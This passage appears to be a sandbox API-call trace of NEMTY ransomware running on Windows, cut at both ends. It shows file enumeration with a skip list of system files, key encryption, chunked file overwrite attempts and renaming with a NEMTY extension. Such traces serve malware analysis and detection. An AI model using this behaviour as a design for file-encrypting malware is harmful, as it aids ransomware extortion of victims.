hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0096.133] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0096.133] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0096.134] CloseHandle (hObject=0x3cc) returned 1 [0096.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0096.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0096.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xecf11d70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xecf11d70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0096.134] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.134] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xecf11d70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xecf11d70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0096.134] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.134] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.134] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0096.134] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0096.135] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0096.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0096.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0096.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0096.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0096.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0096.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0096.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0096.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0096.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0096.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0096.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0096.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0096.136] Sleep (dwMilliseconds=0x5) [0096.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xecf37ed0, dwHighDateTime=0x1d561e7)) [0096.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xecf37ed0, dwHighDateTime=0x1d561e7)) [0096.141] GetLastError () returned 0xb7 [0096.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.141] GetLastError () returned 0xb7 [0096.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0096.141] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0096.141] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0096.141] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0096.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0096.141] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="Bi0XtaiDGLs5C+Jjq6Bwzyq70g5C3BqCd6yWzfroZhHbHjJ/B6SWZNvf5aDHEXT1\r\n8LWCGtKHKICwD9W9Mx4tBedeRDNY7Er0hORB4gPBAyMVFZJIiu+drv4sPHGYylA9\r\nQpJInLI3W4Z0lfOsiOL+B79g+sC7maBHlK+HhFDhy2t7Sw/Vciq/ZfMXs6FnVa5+\r\nTn05VTsDawDX4mwjJEBwmaAtSJ8BdQrbU/ju1Zsqdy/iHH1jrxVrS6q3Lsh3ORdC\r\nDpJ72RzUCPrlKqcx3+mlmH4XUvg+7hSOGYi8Ddl3hI5rILX72Q5qmtw+KDm2EAMM\r\nWQ2CLAMWKNFeEEhDcwZVlg==\r\n", pcchString=0x653e91c) returned 1 [0096.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0096.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0096.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0096.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0096.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0096.141] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.141] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0096.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0096.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.195] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.195] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.218] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0096.258] CloseHandle (hObject=0xffffffff) returned 0 [0096.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0096.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0096.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0096.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0096.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0096.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0096.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0096.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0096.258] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0096.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0096.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0096.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0096.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0096.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0096.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0096.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.259] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, 